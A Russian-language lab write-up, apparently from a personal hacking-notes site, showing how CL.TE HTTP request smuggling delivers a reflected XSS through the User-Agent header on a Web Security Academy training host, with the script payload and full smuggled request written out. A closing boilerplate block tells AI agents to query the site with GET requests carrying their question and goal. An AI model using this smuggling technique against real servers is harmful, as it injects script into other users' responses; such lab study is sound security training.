> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/web/request-smuggling/exploiting-http-smuggling-to-deliver-reflected-xss.md).

# Эксплуатация контрабанды HTTP-запросов для доставки отражённого XSS

### HTTP Request Smuggling для доставки отражённого XSS

Лаборатория настраивает фронтенд-сервер и бэкенд-сервер. / Фронтенд **не поддерживает chunked encoding**, что открывает путь для атаки **HTTP Request Smuggling**.

В приложении также есть уязвимость **XSS, отражённый через заголовок User-Agent**.

Цель состоит в том, чтобы **отправить внедрённый** запрос на бэкенд так, чтобы **следующий запрос пользователя-жертвы получил ответ, содержащий XSS-полезную нагрузку, выполняющую `alert(1)`**.

Лаборатория периодически генерирует запросы для

### Уязвимость XSS в User-Agent

У `userAgent` поле в формах используется напрямую в ответе, что позволяет внедрение:

<figure><img src="/files/b69bbe6bd441980a43fe7165625c1e6fd164ef56" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" %}

```html
<input required type="hidden" name="userAgent" value="Mozilla/5.0 (Windows NT 10.0; rv:128.0) Gecko/20100101 Firefox/128.0">
```

{% endcode %}

Эта полезная нагрузка принимается и интерпретируется, подтверждая уязвимость XSS.

{% code overflow="wrap" %}

```html
"><script>alert(0)</script>
```

{% endcode %}

<figure><img src="/files/9bf6b9ff646179668b996ff4953e32aebca29793" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/39ad1a02402fe5f6edf7c255e790907a8c042d1c" alt=""><figcaption></figcaption></figure>

### **Цель атаки**

Идея состоит в том, чтобы использовать smuggling, чтобы обеспечить, что:

1. Фронтенд читает запрос согласно **Content-Length**.
2. Бэкенд читает согласно **Transfer-Encoding: chunked**.
3. Внедрённый запрос изменяет следующий запрос пользователя-жертвы.
4. Затем сервер возвращает ответ, содержащий нашу XSS-полезную нагрузку в заголовке User-Agent.

### **Внедрённый запрос к приложению**

Вы предлагаете POST-запрос с пустым телом (`0/r/n/r/n`), чтобы завершить chunked-часть, после чего идёт запрос к бэкенду

```http
POST / HTTP/1.1
Host: 0a03007904861a418091d63e00800003.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 172
Transfer-Encoding: chunked

0

GET /post?postId=6 HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Cookie: session=tacWnPVGep8Me8A2MnkwA8hx5mrBU9la
User-Agent: "><script>alert(0)</script>
```

Этот второй запрос (внедрённый) будет интерпретирован бэкендом как часть следующего запроса — запроса пользователя-жертвы — что позволит внедрить XSS-полезную нагрузку в ответ, который он получит.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/web/request-smuggling/exploiting-http-smuggling-to-deliver-reflected-xss.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
